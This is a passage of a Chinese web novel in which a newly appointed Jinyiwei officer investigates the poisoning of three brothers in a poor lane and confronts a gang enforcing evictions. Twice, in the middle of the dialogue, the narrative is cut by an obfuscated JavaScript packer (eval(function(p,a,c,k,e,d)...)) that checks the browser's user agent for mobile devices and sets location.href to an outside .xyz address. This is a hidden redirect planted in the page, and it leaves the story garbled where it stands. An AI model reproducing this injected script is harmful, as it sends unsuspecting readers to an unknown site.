“阳明巷那边出人命案了!”陈飞把文书递到王辉面前,声音都有些发颤,“三个老百姓,昨天晚上突然中毒死了!张总旗刚才让人来传话说,阳明巷归咱们小院管,必须在三天内把案子查清楚,要是办不好,咱们都得受牵连!” 王辉接过文书,快速扫了一眼——上面写着死者的姓名:刘大、刘二、刘三,是兄弟三人,家住阳明巷中段,死因初步判断为“剧毒入腹”,发现时间是今早卯时。 他皱了皱眉,有些疑惑:“这种民间命案,不是该归府衙的巡检司管吗?怎么推到咱们锦衣卫头上了?” 陈飞叹了口气,找了个凳子坐下,拿起桌上的凉茶喝了一口,才苦着脸说道:“大人,您刚上任,还不知道现在的情况。咱们锦衣卫早就不比当年了——以前是专管诏狱、查谋反大案的,现在呢?权力被六部削了大半,连府衙都敢把杂事推给咱们。巡检司说‘阳明巷民风彪悍,他们人手不够’,就把案子丢了过来;上次城西有家丢了鸡,府衙都让咱们去查,您说这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513460|186188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫什么事?” 王辉听着,心里也有些感慨。他以前听父亲说过,锦衣卫在武宗皇帝时期何等威风,缇骑四出,天下震动;可如今,竟沦落到替人查鸡、断民案的地步,难怪百户所里的人都没了往日的锐气。 “那死者的具体情况呢?”王辉收起思绪,指着文书问道,“中毒的原因查到了吗?是误食了什么,还是被人下毒?” 陈飞摇了摇头:“暂时还不清楚。不过这件事,其实半个月前就有苗头了。” 他顿了顿,回忆道:“大概半个月前,阳明巷就有人来百户所报案,说家里养的鸡鸭牛羊莫名其妙地死了,死的时候嘴里还流黑血,跟这次死者的症状差不多。当时这个案子是曹峰负责的,他派人去看了看,回来就报了个‘禽瘟’,说没什么大事,还把报案的人骂了一顿,说他们小题大做。” “禽瘟?”王辉挑了挑眉,眼神变得锐利起来,“这次人死了,症状和家禽一样,会不会是同一种毒?” “府衙那边传来的消息,说死者的呕吐物里检测出的毒素,跟半个月前死的家禽体内的毒素一模一样,基本可以断定是同一种毒。”陈飞肯定地说道,“而且据报案的人说,这半个月来,阳明巷死的家禽越来越多,只是没人敢再报案——曹峰上次把人骂得太狠,老百姓都怕了。” 就在这时,门外传来了脚步声,李虎和马宝国走了进来。他们也是刚接到消息,一进房就问道:“大人,阳明巷的案子您知道了吗?咱们现在怎么办?” 王辉看了他们一眼,问道:“你们之前跟着曹峰,有没有听说过阳明巷家禽死亡的事?比如他派谁去查的,查到了什么?” 李虎和马宝国都摇了摇头。马宝国苦着脸说道:“曹峰那人,什么事都不跟我们说,尤其是这种他觉得‘不重要’的案子,更是连提都不提。我们也是刚才听传消息的人说,才知道半个月前有这么回事。” 李虎也补充道:“而且曹峰手下的人,大多都是混日子的,就算去查了,估计也只是随便看看,根本不会认真找原因。” 王辉点了点头,心里已经有了主意。他站起身,拿起放在椅背上的锦卫服外套,沉声道:“既然不清楚,那就去现场看看。陈飞,你去叫上十个力士,带上验尸的工具;李虎、马宝国,你们去备两匹马,我们现在就去阳明巷。” “好!”三人齐声应道,转身快步走出了案房。 很快,小院里就热闹起来。陈飞点了十个身手利落的力士,每人都带了长刀、绳索和验尸用的银针、草药;李虎和马宝国牵来了两匹枣红马,一匹给王辉,一匹给陈飞,他们自己则和力士们步行。 一行人出了百户所,朝着阳明巷走去。 从百户所到阳明巷,要经过南城最繁华的西市坊。此时坊市已经热闹起来,卖早点的摊子冒着热气,包子的香味飘得很远;绸缎庄的伙计站在门口吆喝,手里举着五颜六色的布料;还有挑着担子的货郎,摇着拨浪鼓,引得一群孩子围着跑。 可越靠近阳明巷,景象就越荒凉。原本平整的青石板路变成了坑坑洼洼的土路,路边的房屋从青砖瓦房变成了低矮的土坯房,墙壁上布满了裂缝,屋顶上的茅草都快掉光了。路边偶尔能看到几个乞丐,蜷缩在墙角,身上盖着破烂的麻袋,看到王辉一行人穿着锦衣卫的制服走过,都吓得连忙把头埋进麻袋里,连大气都不敢喘。 “这阳明巷,真是个贫民窟啊。”李虎看着路边的景象,忍不住感叹道,“住在这里的,大多是给西市坊干活的苦力,还有些无家可归的流民,日子过得苦得很。” 王辉没说话,只是皱着眉,目光扫过路边的房屋。他注意到,很多人家的院子里都挂着空荡荡的鸡笼、鸭笼,有的笼子里还残留着几根羽毛,显然是之前养过家禽的。而更让他心里不是滋味的是,路边的百姓看到他们,不是像西市坊的人那样好奇张望,而是纷纷躲闪——一个穿着补丁衣服的大妈,手里拿着刚洗好的衣服,看到他们过来,连忙拉着身边的孩子躲进了屋里,“砰”地一声关上了门;一个正在扫地的大爷,看到他们,手里的扫帚都掉在了地上,慌忙捡起扫帚,低着头快步走进了旁边的巷子,连头都不敢回。 “这……”陈飞也看到了百姓的反应,脸上有些尴尬,“大人,老百姓怕是被之前的官差吓怕了,所以才这么怕我们。” 王辉沉默着点了点头。他想起父亲曾经说过,“为官者,当为民做主,若百姓见了官差如见虎狼,那便不是百姓的错,是为官者的错”。如今大楚王朝的百姓,连见了锦衣卫都如此恐惧,这王朝的根基,怕是早已不稳了。 一行人继续往前走,大约走了半炷香的时间,终于来到了阳明巷中段。远远地,就看到一座低矮的土坯房外挂着两盏白帆,白帆被风吹得猎猎作响,院子里传来断断续续的唢呐声,那声音尖锐又悲凉,听得人心里发紧。 “就是这里了。”陈飞指着那座土坯房,对王辉说道,“这就是刘大兄弟三个的家。” 王辉勒住马,翻身下马,朝着院子走去。 王辉看着眼前的景象,心里也有些沉重。他刚想上前说话,突然听到院子里有人大喊了一声:“锦衣卫来了!” 这句话像是一颗石子投进了平静的水面,院子里瞬间乱了起来! 仿佛他们不是来查案的官差,而是来抢东西的强盗。 9. 教我做事? 身后跟着的六个锦衣卫校尉,腰佩长刀,肩披飞鱼服,本该是震慑宵小的仪仗,此刻却像在平地上投了颗惊雷。巷子里的百姓像受惊的鸟雀,原本坐在门槛上缝补的妇人猛地缩进屋,怀里的针线筐“哐当”掉在地上,线头散了一地也不敢去捡;趴在巷口玩泥巴的孩子被母亲拽着后领拖走,哭声还没出口就被捂住嘴,只留下一串含糊的呜咽。 王辉眉头微蹙,指尖无意识地摩挲着刀柄。他早知道如今官府名声狼藉,苛捐杂税压得百姓喘不过气,也知道锦衣卫因查办诏狱、缇骑四出,在民间素有“阎王差”的名头。可他总想着,自己辖下的这些校尉,平日里多是处理街坊斗殴、盗贼窃案的琐事,与平民打交道最多,就算敬畏,也不该是这般近乎绝望的恐慌。 “大人,咱们进去吧?”身后的校尉陈飞低声提醒。 王辉深吸一口气,压下心头的异样,抬脚往巷尾那座挂着白幡的院子走。院门口的两盏白灯笼被风吹得晃荡,灯穗上的水珠顺着竹骨往下滴,在地上砸出小小的坑。他刚跨进门槛,院子里的动静骤然凝固。 原本围在灵堂旁的二十多个平民,像是被施了定身术,手里的香烛停在半空,脸上的哀戚瞬间被惊恐取代。有人下意识地往后退,脚边的蒲团被踢得滚远,却没人敢去捡;一个抱着婴儿的妇人把孩子紧紧按在怀里,婴儿被闷得哼唧了一声,她慌忙捂住孩子的嘴,指节因用力而发白。 “都散什么?”王辉放缓了语气,尽量让声音听起来不那么有压迫感,“我是锦衣卫北镇抚司的王辉,接到报案,说这里有人中毒身亡,过来查问情况。” 话音刚落,人群却像被烫到一般,又往后缩了半尺。最边上的一个老汉没站稳,踉跄着撞在身后的水缸上,“咚”的一声闷响,缸里的水溅出来,打湿了他的裤脚。他吓得脸色惨白,慌忙低下头,双手攥着衣角,指缝里都沁出了汗。 王辉心里的疑惑更重了。他环视一圈,院子不大,西角堆着几根劈好的柴火,东墙根摆着两个破陶罐,罐口爬着青苔。灵堂设在正屋门口,一块褪了色的白布搭在门框上,下面摆着一张简陋的供桌,桌上放着三个灵牌,牌位上的字被香火熏得发黑,隐约能看清“刘大郎”“刘二郎”的字样。供桌前的火盆里,纸钱烧得正旺,黑烟裹着纸灰往上飘,呛得人嗓子发紧。 “谁是这家的主人?”王辉又问了一遍,声音比刚才沉了些。 院子里静得能听见火盆里纸钱燃烧的“噼啪”声,还有风吹过白幡的“哗啦”声。过了片刻,有人悄悄抬眼,目光不约而同地落在人群中间一个老人身上。那老人约莫六十多岁,皮肤黝黑得像被晒透的老树皮,脸上的褶子深得能夹住蚊子,身上穿着一件打了好几块补丁的粗布褂子,褂子的领口还沾着些未干的泥点。 他浑身紧绷得像拉满的弓,双手死死攥着衣角,指关节泛出青白色。听到众人的目光都聚在自己身上,他身子几不可察地抖了一下,抬头看向王辉时,眼神里满是混杂着恐惧与绝望的神色,像是看到了索命的无常。他想站起来,可双腿像灌了铅似的,刚抬起半寸就又跌坐回去,脚踝处传来一阵发麻的刺痛——那是昨天为了躲清水帮的人,在巷子里摔的。 就在这时,人群里突然传来一阵细碎的脚步声。一个穿着孝服的妇人从后面走了出来,她约莫二十七八岁,孝服的布料粗糙,袖口已经磨得发毛,脸上没有一丝血色,嘴唇却因用力抿着而泛出青紫色。她走得很慢,每一步都像是踩在刀尖上,走到王辉面前三尺远的地方,突然“噗通”一声跪了下去,膝盖砸在青石板上,发出沉闷的响声。 “大人!求您高抬贵手,放过我家公公吧!”她的声音带着浓重的哭腔,眼泪像断了线的珠子似的往下掉,砸在地上的水洼里,漾开一圈圈细纹,“他年纪大了,身子骨本来就不好,前儿个为了给我男人和叔叔们办丧事,又熬了两宿,实在经不住折腾了!” 王辉愣住了,他下意识地想扶她起来,手刚伸出去,就被妇人往后躲的动作僵在了半空。“你……”他张了张嘴,话没说完,就听妇人接着哭道:“我家男人死了,两个叔叔也没了,就剩下公公和一个五岁的孩儿。我们真不敢再守着这房子不放手了,等把丧事办利索,我们立马搬家,这房子您要拆要卖,都随您的意!求您发发善心,别再为难我们了,大人……” “你误会了。”王辉急忙开口,语气里带着几分急切,“我不是来逼你们搬家的,是来查你家人的死因——报案人说,他们不是正常死亡,是中毒死的。” 妇人哭到一半的声音突然停住,她抬起满是泪痕的脸,眼神里满是疑惑,似乎没听懂王辉的话。这时,那个黝黑的老人终于挣扎着站了起来,他扶着身边的门框,战战巍巍地走过来,每走一步都要晃一下,走到王辉面前,也“噗通”一声跪了下去,膝盖在青石板上磕出一道红印。 “大人啊,我们知道错了!”老人的声音嘶哑得像被砂纸磨过,他一边说,一边扭头对着人群后面喊:“狗蛋,过来!给大人磕头!” 一个穿着打补丁短褂的小男孩从人群里跑了出来,他约莫五岁,脸上还挂着鼻涕,看到跪在地上的爷爷和母亲,又看了看穿着飞鱼服的王辉,眼睛里瞬间蓄满了泪水,却不敢哭出声。老人拉着小男孩的手,把他按在地上,祖孙俩一起对着王辉磕头,“咚咚”的声音在院子里回荡,听得人心头发紧。 “快起来!”王辉连忙上前,双手扶住老人的胳膊。老人的胳膊瘦得只剩一把骨头,皮肤冰凉,还在不住地发抖。“老人家,你真的误会了,我不是来追责的,也不是来要东西的,就是来问清楚,你三个儿子,到底是怎么死的。” 老人抬起头,满是褶子的脸上还沾着泥土和眼泪,他看着王辉,眼神里的恐惧渐渐淡了些,却多了几分不解:“您……您要查这个?” “对,查死亡真相。”王辉点头,指了指灵堂,“他们是什么时候死的?死前有没有吃过什么特别的东西?有没有见过陌生人?” 老人愣了好一会儿,似乎才反应过来王辉的话。他张了张嘴,刚想说话,突然像是想起了什么,脸色猛地一变,慌忙指着灵堂,声音里带着几分哀求:“大人,我家真的没钱了!您看,那三副棺材都是街坊邻居凑钱买的,连给他们烧的纸钱,都是巷口张婆子送的。我们真没钱上供了,您就行行好,放过我们吧!” “上供?”王辉眉头一皱,心里的疑惑更重了,“我从没说过要上供,也不需要你们上供。我再说一遍,我是来查案的——有人报案,说你家人是被人毒杀的,不是染了病或者意外身亡。” 跪在地上的妇人突然发出一声绝望的呜咽,她抬起头,脸上的泪痕还没干,眼神却变得空洞起来:“大人,我们家人都要死绝了,你们还不肯放过我们吗?” 王辉深吸一口气,压下心头的烦躁。他知道百姓对官府的信任早已荡然无存,可没想到,自己明明是来查案,却被当成了催逼勒索的恶差。“本官说的是实话,你们怎么就是不信?”他的声音提高了几分,带着一丝无奈。 妇人惨然一笑,她慢慢从地上站起来,虽然身子还在发抖,眼神却多了几分决绝:“不就是变着花样逼我们搬吗?要杀要剐,直接说就是了,何必装模作样查什么情况?你都知道是被人毒杀的,还假惺惺地问什么?” 王辉心里一动,盯着妇人的眼睛:“这么说来,你们知道是谁下的毒?” 妇人嗤笑一声,她扭头看了看院子里的其他百姓,那些人要么低下头,要么别过脸,没人敢和她对视。“谁不知道?”她的声音带着几分悲凉,又带着几分愤怒,“这阳明巷数十户人家,数百口人,谁不知道是清水帮的人干的?他们要占我们的地建赌场,前儿个来逼我们搬家,我男人不肯,就被他们……”说到这里,她的声音哽咽住,眼泪又涌了上来。 王辉的脸色沉了下来。他上任前就听过清水帮的名头,知道这是个盘踞在城郊的江湖帮派,手下有数百号人,平日里欺行霸市、放高利贷,甚至还敢和官府叫板。只是他没想到,这帮派竟然嚣张到敢直接毒杀百姓。 “既然知道凶手,为什么不报官?”王辉问道。 妇人像是听到了天大的笑话,她指着巷口的方向,声音里满是绝望:“报官?我们没报过吗?上个月张大叔报官说清水帮抢了他的铺子,结果呢?锦衣卫来了,没抓清水帮的人,反而把张大叔抓了起来,说他诬告,关了半个月才放出来,出来的时候,腿都被打断了!从那以后,谁还敢报官?” 王辉的拳头悄悄握紧,指节发白。他知道如今官府腐朽,却没想到腐朽到了这个地步——锦衣卫本是缉拿奸邪的机构,竟然成了恶势力的帮凶。 就在这时,陈飞悄悄凑到王辉身边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“刘老头,”壮汉的声音像破锣一样,带着几分凶狠,“你儿子刘大郎虽然死了,但他欠我们清水帮的五百两银子,可不能不还!” 刘老头吓得浑身一哆嗦,他连忙摆着手,声音里带着几分哀求:“虎哥,我们家哪有欠你们钱啊!大郎是个老实人,平日里连赌都不沾,怎么会借你们的银子?更别说五百两了,我们家这辈子都没见过这么多钱啊!” “啪!” 虎哥突然抬手,一巴掌抽在刘老头脸上。这一巴掌力气极大,刘老头被打得原地转了个圈,“噗通”一声摔在地上,嘴角瞬间流出鲜血,牙齿也松动了两颗。 “老东西,给你脸了是吧?”虎哥吐掉嘴里的烟蒂,用脚碾了碾,眼神里满是凶狠,“我说你欠了,你就是欠了!别跟我废话,要么还钱,要么……”他的目光扫过院子,最后落在刘老头身后的孝服妇人身上,眼睛里闪过一丝淫邪的光。 妇人吓得往后退了一步,紧紧抓着老人的胳膊。虎哥走上前,一把抓住妇人的手腕,那手腕纤细,被他粗厚的手掌攥着,像是随时都会断。“要么,就用你这破房子,再加上你这个儿媳妇,来抵债!” “放开我!”妇人拼命挣扎,指甲抓在虎哥的手上,留下几道血痕。虎哥吃痛,骂了一句,反手一巴掌抽在妇人脸上,把她打得跌坐在地上,脸颊瞬间红肿起来。 “你们……你们还有王法吗?”妇人趴在地上,眼泪混合着泥土流下来,声音嘶哑地喊道。 “王法?”虎哥像是听到了什么好笑的事,他哈哈大笑起来,笑声里满是嘲讽。他突然扭头,看向站在一旁的王辉一行人,脸上的笑容变得更加猥琐:“哦,说起王法,倒是忘了,这儿还有几位锦衣卫的差爷呢!” 他松开妇人的手,大摇大摆地走到王辉面前,上下打量着他,眼神里满是不屑。“这位差爷看着面生啊,是刚上任的吧?”他伸出手,想拍王辉的肩膀,王辉下意识地往后退了一步,躲开了他的手。 虎哥脸上的笑容僵了一下,随即又笑了起来:“差爷别这么见外啊!要不,您给这娘们讲讲,什么是王法?”他身后的清水帮众人也跟着哄笑起来,钢刀在手里晃来晃去,明晃晃的刀光映在每个人的脸上,显得格外狰狞。 王辉的眼神渐渐冷了下来,他盯着虎哥的眼睛,声音里带着几分寒意:“你……在教我做事? 10. 刀出阳明 风裹着巷口的纸钱灰,打着旋儿掠过青石板缝隙落在血迹上。那血是刘老头的,方才被清水帮的人一拳捣在面门,淅淅沥沥洒了一路,此刻已经干涸发黑,却依旧刺目。王辉盯着那点污浊,指节攥得发白,绣春刀的檀木刀柄已被掌心汗浸得湿滑。 “哟,这位大人,莫不是打算要为民请命?”刘虎的嗓子粗嘎得像一面生了锈的铜锣,话音未落,身后那二十多条清水帮的汉子便爆出一阵哄笑。钢刀在他们掌中滴溜溜转着圈,雪亮刀光劈开巷内阴霾,晃得人眼底生疼。 王辉牙关咬紧,刚要迈步,胳膊却被人死死攥住——是陈飞。这位老校尉的手心全是湿冷黏腻的汗,力道大得惊人,几乎要掐进王辉的皮肉里。他人已经抢上前去,腰弯得如同被风雨摧折的芦苇,脸上挤出谄媚的笑,连眼尾那道旧疤都皱成了一团。 “哎呀呀,刘堂主!误会,天大的误会!”陈飞一面高声打着哈哈,一面用力将王辉往后拽,“这位是我们北镇抚司新来的小旗,王辉王大人!年轻气盛,刚来都江城没几日,还不懂咱们这儿的规矩,您千万海涵,别跟晚辈一般见识!” 刘虎朝地上啐了一口浓痰。他上前一步,壮硕身躯投下的阴影顿时将陈飞完全笼罩:“不懂规矩就夹起尾巴好好学!毛都没长齐就敢在老子面前耍官威?陈校尉,你可是衙门里的老油条了,还不赶紧给这位‘官老爷’说道说道,在咱们都江城,究竟谁说了算!” “是是是!一定说,一定好好说!”陈飞点头哈腰,几乎要折断了腰,手下使劲,硬拉着王辉就往院门外退。他不敢抬头,却能清晰地感觉到四周百姓的目光——那些视线如同绵密的细针,无声地扎在他脊背上,混合着鄙夷、无奈,以及一种被岁月磨平了棱角的麻木。刘老头搀着哭肿了双眼的儿媳,瑟缩在灵堂角落,连朝这边瞥一眼的勇气都没有。 “大人,这伙亡命徒咱们招惹不起!”刚踉跄着出了院门,陈飞立刻压低嗓音,语气焦灼得几乎冒出火星子,“您看看他们那架势!硬碰硬,咱们今天谁都别想全须全尾地走出这条巷子!” 王辉猛地顿住脚步,眉头死死拧成一个疙瘩。他盯着陈飞,声音里压着难以置信的怒火:“陈哥!睁大眼睛看看!这大楚朝的天还没塌呢!你我身穿飞鱼服,腰佩绣春刀,是天子亲军,朝廷的颜面!如今倒好,堂堂锦衣卫,竟被一群地痞流氓当众羞辱,屁都不敢放一个?这清水帮到底是什么龙潭虎穴,能让咱们北镇抚司的人都畏之如虎?” 陈飞重重叹了口气,警惕地回头瞥了一眼——刘虎正歪靠在门框上,叼着烟杆,眯缝着眼朝这边睨视,嘴角挂着一丝猫耍老鼠般的戏谑。陈飞慌忙扯着王辉又往巷口疾走几步,彻底避开那视线,声音压得几乎只剩气音:“大人!不是咱们锦衣卫惹不起,是眼下咱们就这七八号人,实在惹不起他们!若只是寻常帮会,莫说千把人,就算上万,北镇抚司一纸钧令,大军开拔,顷刻间就能给他碾为齑粉!” 他颤抖着手指,虚指向院内刘虎的方向:“可那姓刘的不是寻常地痞!他是清水帮坐镇南城的堂主!您知道清水帮在都江城是什么分量吗?那是南城一手遮天的第一大帮!光是正式开过香堂、录过名册、能打敢拼的核心刀手,就不下这个数!”陈飞伸出两根手指,用力晃了晃。 王辉心头猛地一沉。他在电视里听过“刀手”这个词——那是帮派最根基的力量,要经过严格的入门仪式,饮血酒,拜关公,誓同生死。上千名刀手,意味着其背后是数千张依靠清水帮吃饭的嘴,加上外围的帮闲、眼线、依附的商贩,编织成一张庞大而盘根错节的网。这等势力,早已超脱寻常帮派,俨然是割据一方的土皇帝。 “而且您想想,”陈飞舔了舔干裂的嘴唇,声音里满是苦涩,“清水帮能在都江城最繁华的南城站稳脚跟,甚至把平乐坊整个划作自家地盘,官面上能没硬靠山?那是通了天的!他们要人有人,要钱有钱,要关系有关系!咱们今天就这七八个人,七八把刀,怎么跟人家几十把甚至上百把刀斗?那是拿鸡蛋往石头上撞!” 王辉的手指无意识地反复摩挲着刀柄上冰凉的金属饰件,那冷硬的触感稍稍压制住他胸腔里翻腾的怒火。他忽然想起父亲以前说过的话:“辉儿,记住,锦衣卫这身皮,杀人不是最难的,最难的是…要看清何时该亮刀,何时该藏锋…这世道,有时候…形势比人强…” 那时他年少气盛,并未完全懂得。此刻,站在阳明巷污浊的空气里,看着百姓们绝望麻木的脸,他忽然品出了那句话里沉甸甸的、令人窒息的意味。 “大人,咱们暂且退一步!”陈飞又拽了拽他的衣袖,急声道,“我估摸着,清水帮是铁了心要扩建平乐坊的坊市。您看这阳明巷,紧挨着平乐坊西南角,地段多金贵?清水帮早就视作嘴边肥肉,前来威逼利诱不下数次了。可这些街坊都是几代居住于此,清水帮给的那点微薄搬迁银,连个像样的容身之所都买不起,谁肯搬?” 王辉沉默着。之前刘家三兄弟暴毙的疑案,卷宗上含糊其辞地记为“误食毒物”,如今看来,恐怕就是清水帮斩草除根的狠辣手段。还有巷内蔓延的所谓“禽瘟”,病鸡死鸭被随意丢弃在沟渠边,恶臭扑鼻——现在想来,多半也是他们故意散布疫病,制造恐慌,逼迫百姓就范。 “是强拆。”王辉从牙缝里挤出三个字,声音冷得掉冰渣。 陈飞沉重地点点头:“之前这片区归百户曹峰管辖。清水帮定然是许了他重利,他便将‘禽瘟’之事强行压下,反诬是刁民造谣,抓了几个带头抗争的进去蹲了大牢。可这些百姓,根就在这里,那点卖命钱哪够安家?谁肯走?刘家那三兄弟,就是抗争最凶的…所以,人就没了。坊间都传是清水帮下的毒,甚至前几日还有人亲眼看见帮派里的人往刘家水缸里倒东西…可谁敢作证?谁又敢报官?官字两张口,最后咬的还是老百姓自己。” 王辉的目光再次投向院内。刘老头正佝偻着背,用一块破布徒劳地擦拭着青石板上的血污,动作迟缓得如同凝固。那穿着孝服的年轻女子仍瘫坐在供桌旁,额角的伤口还在渗血,她却恍若未觉,只是肩膀微微抽搐,白色的孝带垂落在地,沾满了灰土,像一面被践踏的降旗。四周围观的邻居们皆低垂着头,沉默如同厚重的棺椁,将他们死死压住。只有巷风吹得灵幡哗啦作响,如同无声的哀泣。 一股强烈的窒息感攫住了王辉的喉咙。这吃人的世道,何曾给升斗小民留下过活路?就连他自己这具身体的前任,堂堂锦衣卫小旗,不也不明不白地丢了性命?更何况这些手无寸铁、毫无凭依的平民,在帮派与贪官勾结的巨轮下,连挣扎的资格都被剥夺。 “走。”王辉闭上眼,深吸了一口弥漫着纸钱灰和血腥味的空气,再睁开时,眼底的澎湃怒意已被强行压下,取而代之的是一种深沉的、近乎冰冷的隐忍。他清楚,此刻发作,除了赔上自己和手下弟兄的性命,于事无补。 然而,就在他们转身欲走的刹那,刘虎那令人厌恶的粗哑嗓音再次响起,带着毫不掩饰的嘲弄:“几位官爷,这就要走?来了我这地头,不留下点‘说法’,怕是…不合规矩吧?” 王辉的脚步骤然钉在原地。陈飞脸色唰地变得惨白如纸,他慌忙转身,脸上那副卑微的笑容几乎要挂不住:“刘堂主,您…您还有什么指教?我们这就回去,绝不再打扰您…” 刘虎慢悠悠地从门框上直起身,踱步到院子中央,用烟杆指点着缩在灵堂周围的百姓,声音陡然拔高,带着一股蛮横的戾气:“指教?不敢当!就是请各位官爷评评理!这些刁民,欠债不还,屡次三番抗命,公然与我清水帮为敌!今日正好诸位官差大驾光临,就请诸位替咱们清水帮主持这个公道!” 王辉缓缓转过身,面沉似水,目光如刀锋般刮过刘虎的脸:“你想要什么公道?” 刘虎狞笑一声,毫无预兆地猛地上前,一脚狠狠踹在蜷缩在地的孝服女子腰侧!女子发出一声短 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“不是你们收的,是曹峰那个死鬼收的!”刘虎向前逼近两步,几乎与王辉面贴面,他能清晰地看到王辉眼底汹涌的杀意,却浑不在意,反而露出一口黄牙,“上个月,老子真金白银拿了八百两给曹峰,让他把阳明巷这块地给我弄得清清爽爽——也就是让这些穷鬼乖乖滚蛋!结果呢?事没办成,他倒好,被这位新来的王大人给宰了!你说,这笔烂账,老子该找谁算?嗯?” 王辉的瞳孔骤然收缩。原来如此!刘虎今日不仅是来逞凶立威,更是来清算这笔“旧账”的!曹峰拿钱不办事,如今人死了,他们便顺理成章地将这账算到了自己这个继任者头上! “王大人,”刘虎见王辉沉默,语气更加猖狂,带着赤裸裸的威胁,“你们锦衣卫窝里斗,打死打活,老子没兴趣。但那八百两雪花银,可不能就这么打了水漂!曹峰当初拍着胸脯保证万无一失,如今他死了,这债,自然就得落到王大人您的肩上了。” 他盯着王辉的眼睛,一字一顿,如同敲钉入木:“王大人,你想在都江城安安稳稳地待下去,最好别让老子这八百两银子血本无归。两条路:要么,你现在就替我把这些刁民统统抓进大牢,让他们知道厉害,乖乖搬走;要么,你就连本带利,赔我一千两银子!” 空气瞬间凝固。清水帮的汉子们齐刷刷握紧了钢刀,眼中凶光毕露,如同群狼环伺。百姓们惊恐地抬起头,目光聚焦在王辉身上,那里面有残存的一丝微弱期望,有深切的担忧,但更多的,是早已根植于心的绝望——他们见过太多官匪一家的戏码,早已不相信这世道还有什么公道可言。 陈飞急得汗出如浆,手指冰凉,死死拽着王辉的胳膊,声音带着哭腔:“大人!千万忍一时!好汉不吃眼前亏!咱们先假意应下,回去再慢慢想办法筹措银两…一千两虽然巨…总能有办法…” “想办法?”王辉轻轻打断他,声音异常平静,却透着一股斩钉截铁的决绝。他慢慢而坚定地拂开陈飞的手,目光缓缓扫过刘虎嚣张的嘴脸,扫过清水帮帮众手中明晃晃的钢刀,最后,落在那位额角淌血、瑟瑟发抖的孝服女子身上——鲜血正一滴滴落在散乱的纸钱上,晕开触目惊心的红。 那么现在—— 王辉嘴角忽然牵起一丝极淡、却冷得令人胆寒的笑意,他看着刘虎,语气平稳得可怕:“我觉得,可以。” 刘虎愣了一下,脸上旋即露出胜券在握的得意:“哦?王大人是识时务的俊杰!是想替兄弟我分忧,抓了这些刁民?还是愿意慷慨解囊,偿还…” “锵——!” 一声清越激昂的金铁铮鸣骤然炸响,如同平地惊雷,悍然撕碎了院中凝滞的死寂! 王辉动了!动如脱兔,疾似奔雷!右臂一挥,绣春长刀应声出鞘,带起一泓秋水般的寒芒!他左臂曲起护于身前,刀身紧贴小臂,整个人如同一张拉满的劲弓,那抹凛冽的刀光以迅雷不及掩耳之势,直劈刘虎那粗壮的脖颈! 11. 说到做到 风裹着血腥气,在泥巷里打着旋。 王辉的刀,是军中制式的绣春刀。刀长三尺七寸,比寻常横刀更显修长凌厉,净重两斤三两,百炼精钢淬炼而成,刀身隐有云纹,刃口在晦暗天光下流淌着一抹不易察觉的幽蓝。 这个长度与重量,于寻常人而言,莫说施展精妙招式,便是胡乱挥舞几下,臂膀也要酸软难当。但对于已跻身六品武者之列的王辉,却是如臂使指,恰到好处! “锵——!” 绣春刀自腰间皮鞘中闪电般拔出,刀鸣清越,竟暂时压过了巷中的风嚎与人声。没有半分迟疑,刀光如瀑,又似疾风骤雨,向着近在咫尺的刘虎泼洒过去!不过是电光石火之间,寒芒闪烁,竟已连续劈出四五刀,刀刀狠戾,直取要害! 这正是北镇抚司基层缇骑日常操练的《破风刀法》。 这门刀法流传甚广,堪称烂大街的货色,其精髓唯在一个“破”字,不尚华丽,不求刁钻,只重速度、精准与狠辣。王辉的前身于此刀法上浸淫数年,早已练至炉火纯青之境。此刻由王辉施展出来,更是多了一股一往无前的决绝杀气! 借着率先发难、攻其不备的优势,这一套快攻如狂风扫落叶,纵然刘虎修为实已踏入五品,比王辉还高出一线,竟也未能完全避开。只听“嗤啦”两声裂帛轻响,伴随着闷哼,刘虎肩头与前胸衣物爆裂,血光迸现,已是添了两道深可见骨的伤口! “呃啊——!” 剧痛刺激下,刘虎发出一声野兽般的怒吼,狼狈不堪地就地向后翻滚,撞翻了一个破旧的瓦盆,泥土与残花溅了一身,才险之又险地避开了后续的连环杀招,并趁机“唰”地抽出了他那柄沉厚的九环鬼头大刀。 “小杂种!你他娘的找死!”刘虎目眦欲裂,咆哮声震得屋檐灰尘簌簌落下。 刹那间,这本就逼仄的小院之内,刺耳欲聋的金铁交鸣声疯狂炸响!绣春刀与鬼头刀猛烈碰撞,溅起一溜溜耀眼的火星。两人刀来刀往,劲气四溢,卷起的狂风将地上的纸钱灰烬、枯草落叶吹得漫天飞舞,肃杀之气弥漫开来,压得人几乎喘不过气。 院子内外,瞬间陷入极大的混乱之中。 那些原本围观的平民百姓全都惊呆了,在他们根深蒂固的认知里,锦衣卫与清水帮根本就是蛇鼠一窝、沆瀣一气,都是骑在他们头上作威作福的恶煞。此刻眼见这两边竟然毫无征兆地火拼起来,惊愕过后便是极大的恐慌。 “打起来了!官爷和帮派老爷打起来了!” “快跑啊!要出人命了!” “别挤!我的孩子……” 人群惊呼尖叫,如同炸窝的蚂蚁,互相推搡践踏,拼命向着院外逃去。那简陋的篱笆院墙如何经得起这般冲撞,轰隆几声便被挤垮塌陷,扬起一片尘土。百姓们一窝蜂地逃到远处街角,才心有余悸地停下脚步,远远眺望。 惊魂稍定,一种复杂的情绪便开始在人群中蔓延。几乎每个人都在心底暗暗叫好,甚至盼着他们同归于尽才好!这世道,官不像官,匪不像匪,都是吃人不吐骨头的豺狼,狗咬狗一嘴毛,无论谁被咬死,都足以让人拍手称快! 